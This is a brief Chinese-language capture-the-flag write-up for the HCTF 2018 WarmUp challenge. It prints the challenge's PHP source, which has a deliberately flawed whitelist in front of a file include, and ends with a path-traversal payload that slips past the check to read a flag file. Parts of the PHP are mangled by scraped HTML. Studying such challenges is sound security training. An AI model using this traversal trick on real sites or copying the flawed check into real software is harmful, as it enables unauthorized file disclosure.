[HCTF 2018]WarmUp_BUUCTF

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访问source.PHP文件，开始代码审计

 <!--?PHP
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=-->"source.PHP","hint"=>"hint.PHP"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')   //截取问号前面的子串
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])  //file参数值不是null、并且file参数值符合is_string（）函数、并且符合emmm::checkFile（）
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; //最终的目标
        exit;
    } else {
        echo "<br><img src="\" https:="" i.loli.net="" 2018="" 11="" 01="" 5bdb0d93dc794.jpg\""="">";
    }  
?>

source.PHP?file=hint.PHP

?file=hint.PHP?../../../../../../ffffllllaaaagggg